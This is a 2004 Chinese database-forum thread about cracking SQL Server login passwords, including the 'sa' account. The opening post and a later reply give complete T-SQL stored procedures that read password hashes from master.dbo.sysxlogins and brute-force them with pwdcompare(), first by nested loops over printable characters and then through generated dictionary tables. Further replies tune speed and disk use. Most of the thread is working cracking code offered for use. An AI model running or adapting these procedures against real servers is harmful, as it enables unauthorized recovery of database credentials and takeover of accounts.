关于sql server sa密码的破解的一个方法,抛砖引玉,请高手们讨论!

老宛 2004-08-06 02:45:36
呵呵,涉及到sql server的安全性,兄弟们要注意了
小弟最近发现了sql server加密密码的函数pwdencrypt(),在sp_addlogin存储过程中,又发现了口令比较的函数pwdcompare(),在sp_password存储过程中,虽然是单向加密的,但是能通过穷举来猜到sa的密码,当然其他的登录帐户的密码也是可以猜到的



IF EXISTS (SELECT name
FROM sysobjects
WHERE name = N'sp_get_password'
AND type = 'P')
DROP PROCEDURE sp_get_password
GO

--查找登陆帐号密码的存储过程(测试,只能找3位的密码)

CREATE PROCEDURE sp_get_password
@username varchar(255)='sa'

AS
DECLARE @EncryptedPWD varbinary(255),@password varchar(255)
set @EncryptedPWD=null
SELECT @EncryptedPWD=[password] FROM [master].[dbo].[sysxlogins]
where [name]=@username


IF @EncryptedPWD is null
BEGIN
SELECT @USERNAME AS 用户名,'没密码' AS 密码
RETURN
END

DECLARE @I1 INT
DECLARE @I2 INT
DECLARE @I3 INT
DECLARE @I4 INT
DECLARE @I5 INT
DECLARE @I6 INT
DECLARE @I7 INT
DECLARE @I8 INT
DECLARE @I9 INT
DECLARE @I10 INT
DECLARE @J INT

--查找1位的密码
SET @I1=33
WHILE @I1<127
BEGIN
SELECT @password=CHAR(@I1)

IF pwdcompare(@password, @EncryptedPWD, 0)=1
BEGIN
SELECT @username as '用户名',@PASSWORD as '密码'
RETURN
END
SELECT @I1=@I1+1
END
print '1'

--查找2位的密码
SET @I2=33
WHILE @I2<127
BEGIN
SET @I1=33
WHILE @I1<127
BEGIN
SELECT @password=CHAR(@I2)+CHAR(@I1)

IF pwdcompare(@password, @EncryptedPWD, 0)=1
BEGIN
SELECT @username as '用户名',@PASSWORD as '密码'
RETURN
END
SELECT @I1=@I1+1
END
SELECT @I2=@I2+1
END

PRINT '2'

--查找3位密码
SET @I3=33
WHILE @I3<127
BEGIN
SET @I2=33
WHILE @I2<127
BEGIN
SET @I1=33
WHILE @I1<127
BEGIN
SELECT @password=CHAR(@I3)+CHAR(@I2)+CHAR(@I1)

IF pwdcompare(@password, @EncryptedPWD, 0)=1
BEGIN
SELECT @username as '用户名',@PASSWORD as '密码'
RETURN
END
SELECT @I1=@I1+1
END
SELECT @I2=@I2+1
END
SELECT @I3=@I3+1
END

PRINT '3'


SELECT @username as '用户名','没有找到' as '密码'

GO
--调用示例
sp_get_password

--sp_get_password 'zj'
...全文
3082 44 打赏 收藏 转发到动态 举报
写回复
用AI写文章
44 条回复
切换为时间正序
请发表友善的回复…
发表回复
Joe1976 2004-09-11
  • 打赏
  • 举报
回复
樓主,能訪問sysxlogins這個表的用戶都已經有很高的權限了,沒必須破sa的密碼也行了
sun5 2004-08-19
  • 打赏
  • 举报
回复
这种方法很累啊
老宛 2004-08-13
  • 打赏
  • 举报
回复
to:zjcxc(邹建) ( )
不过我的生成字典表的算法有点问题,不知道大家发现没有

老大,是什么问题?我觉得你的生成字典表肯定有这样的问题,就是你用insert会产生大量的日志,这样会导致磁盘空间不够,和速度慢,导致无法生成大的位数(比如6位)的字典表,我试了一下,用select into 来建表,这样就不会产生大量的日志了
按照你的方法,我重新写了一个,麻烦你指点

--创建密码字典表
go

--生成密码表
if exists (select * from dbo.sysobjects where id = object_id(N'[tb_pwd1]') and OBJECTPROPERTY(id, N'IsUserTable') = 1)
drop table [tb_pwd1]
GO
if exists (select * from dbo.sysobjects where id = object_id(N'[tb_pwd2]') and OBJECTPROPERTY(id, N'IsUserTable') = 1)
drop table [tb_pwd2]
GO
if exists (select * from dbo.sysobjects where id = object_id(N'[tb_pwd3]') and OBJECTPROPERTY(id, N'IsUserTable') = 1)
drop table [tb_pwd3]
GO



--生成临时表
select top 256 seq_no=identity(int,0,1) into #t from syscolumns
--生成密码1位字典表内容
select pwd=char(seq_no) into tb_pwd1 from #t
go
--生成密码2位字典表内容
select pwd=char(a.seq_no)+char(b.seq_no) into tb_pwd2 from #t a,#t b
go
--生成密码3位字典表内容
select pwd=char(a.seq_no)+char(b.seq_no)+char(c.seq_no) into tb_pwd3 from #t a,#t b,#t c
go
drop table #t
go

if exists (select * from dbo.sysobjects where id = object_id(N'[dbo].[SP_GET_PASSWORD]') and OBJECTPROPERTY(id, N'IsProcedure') = 1)
drop procedure [dbo].[SP_GET_PASSWORD]
GO

/*--穷举法破解SQL密码

利用 pwdcompare 穷举sql用户的密码
示例是破解 1~2 位的密码,可以增加字典表的内容
以破解更多密码

--邹建 2004.08--*/

/*--调用示例
exec sp_get_password 'sa'
exec sp_get_password
最好是查找一个帐号,否则查找的时间太长了
--*/

--查找登陆帐号密码的存储过程(跟上面生成的密码对照表有关,上面的生成多少位,就能解多少位,上面建立了3张表,所以能查找3位密码)
CREATE PROCEDURE SP_GET_PASSWORD
@USERNAME VARCHAR(255)=null --默认查询所有用户的密码
AS

select 用户名=[name],密码=case when [password] is null then '无密码'
else (select top 1 pwd from tb_pwd1 where pwdcompare(pwd,a.[password],CASE WHEN a.xstatus&2048=2048 THEN 1 ELSE 0 END)=1) end
into #t from master.dbo.sysxlogins a
where isnull(@USERNAME,name)=name

--select * from #t

if exists(select 1 from #t where 密码 is null)
begin
update a set a.密码=b.密码 from #t a,
(
select 用户名=[name],密码=(select top 1 pwd from tb_pwd2 where pwdcompare(pwd,a.[password],CASE WHEN a.xstatus&2048=2048 THEN 1 ELSE 0 END)=1)
from master.dbo.sysxlogins a,#t b
where a.[name]=b.用户名 and b.密码 is null
) b
where a.用户名=b.用户名 and b.密码 is not null
end

--select * from #t

if exists(select 1 from #t where 密码 is null)
begin
update a set a.密码=b.密码 from #t a,
(
select 用户名=[name],密码=(select top 1 pwd from tb_pwd3 where pwdcompare(pwd,a.[password],CASE WHEN a.xstatus&2048=2048 THEN 1 ELSE 0 END)=1)
from master.dbo.sysxlogins a,#t b
where a.[name]=b.用户名 and b.密码 is null
) b
where a.用户名=b.用户名 and b.密码 is not null
end
/*
如果有4位的,继续往后面加
select * from #t
if exists(select 1 from #t where 密码 is null)
begin
update a set a.密码=b.密码 from #t a,
(
select 用户名=[name],密码=(select top 1 pwd from tb_pwd4 where pwdcompare(pwd,a.[password],CASE WHEN a.xstatus&2048=2048 THEN 1 ELSE 0 END)=1)
from master.dbo.sysxlogins a,#t b
where a.[name]=b.用户名 and b.密码 is null
) b
where a.用户名=b.用户名 and b.密码 is not null
end
*/


update #t set 密码='没找到' where 密码 is null
select * from #T
drop table #t
GO

老宛 2004-08-11
  • 打赏
  • 举报
回复
但是用字典表也不可行,如果查询4为以上的密码,比如说6位吧,sql基本上就很难建表了,生成的数据文件很大,但是和log比起来,呵呵,log文件足以将现在各位兄弟所用的硬盘空间全部吃掉,所以我觉得也是不可行的
zjcxc 2004-08-10
  • 打赏
  • 举报
回复
每次执行再生成临时表,那当然资源消耗不起.
老宛 2004-08-10
  • 打赏
  • 举报
回复
我试过,主要是怕临时表太大了,因为我是在执行存储过程的时候生成临时表,所以担心系统资源不够,如果先做好表,这个表太大了又不好和存储过程放一起,呵呵,用循环的话就不存在这个问题了,但是性能又不好,唉,不过这个方法本身就不好,太费时了
zjcxc 2004-08-10
  • 打赏
  • 举报
回复
速度你可以自己测试一下(我的方法当然不应该包括生成字典表的时间,因为字典表不用每次生成)
zjcxc 2004-08-10
  • 打赏
  • 举报
回复
你错了,SQL中的每个处理语句都是一个事务

用循环就好像用游标一样,效率是不高的.


而且我也没有用临时表(临时表是生成字典表用的,不是破解密码用的),我用的是固定的字典表,是第一次使用时生成的(不是每次都要生成)
字典表过大的话,可以分表

老宛 2004-08-10
  • 打赏
  • 举报
回复
to:zjcxc(邹建) ( )
谢谢指点,我觉得用循环是不是要比临时表好一些?因为用临时表的话,产生的临时表太大了,可能会导致不能运行下去
老宛 2004-08-10
  • 打赏
  • 举报
回复
to:lcq9732(明空) ( )
pwdcompare(@password, @EncryptedPWD, 0)中第三个参数可以是1和0,此处用0,一定可以吗?


pwdcompare(@password, @EncryptedPWD, 0),此处用0,一定是可以的

to:pbsql(风云) ( )
加了srvid is null可以了

谢谢指点

zjcxc 2004-08-09
  • 打赏
  • 举报
回复
不过我的生成字典表的算法有点问题,不知道大家发现没有
zjcxc 2004-08-09
  • 打赏
  • 举报
回复
我觉得用我的方法,写字典表,除了固定的组合,还可以加常用词,比如,有的人喜欢用:888,123,1234这类,把这些加到字典表就可以了

还可以把常用密码专门做一个密码字典表,破解时,先查常用的,不行再查固定位的
老宛 2004-08-09
  • 打赏
  • 举报
回复
小弟也是刚刚发现这两个函数,也就学着写了一个存储过程,果然有考虑不到的地方,谢谢指出。至于我为什么取33-127,是想节省一些时间,我的想法是查找常见的密码,呵呵,这种方法是可以查到密码的,但是如果密码长的话,太费时了,不知道各位有没有其他的好办法了,请赐教。
老宛 2004-08-09
  • 打赏
  • 举报
回复
呵呵,前两天休息,谢谢各位的回帖
jitao_xa 2004-08-09
  • 打赏
  • 举报
回复
确实很牛
ixw 2004-08-09
  • 打赏
  • 举报
回复
mark
prcgolf 2004-08-09
  • 打赏
  • 举报
回复
up
hudan 2004-08-09
  • 打赏
  • 举报
回复
好帖,收藏
yesterday2000 2004-08-07
  • 打赏
  • 举报
回复
你是红客一族?
标记一下
pbsql 2004-08-07
  • 打赏
  • 举报
回复
是,我这里2位就产生了3万多行
加载更多回复(24)

27,579

社区成员

发帖
与我相关
我的任务
社区描述
MS-SQL Server 应用实例
社区管理员
  • 应用实例社区
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧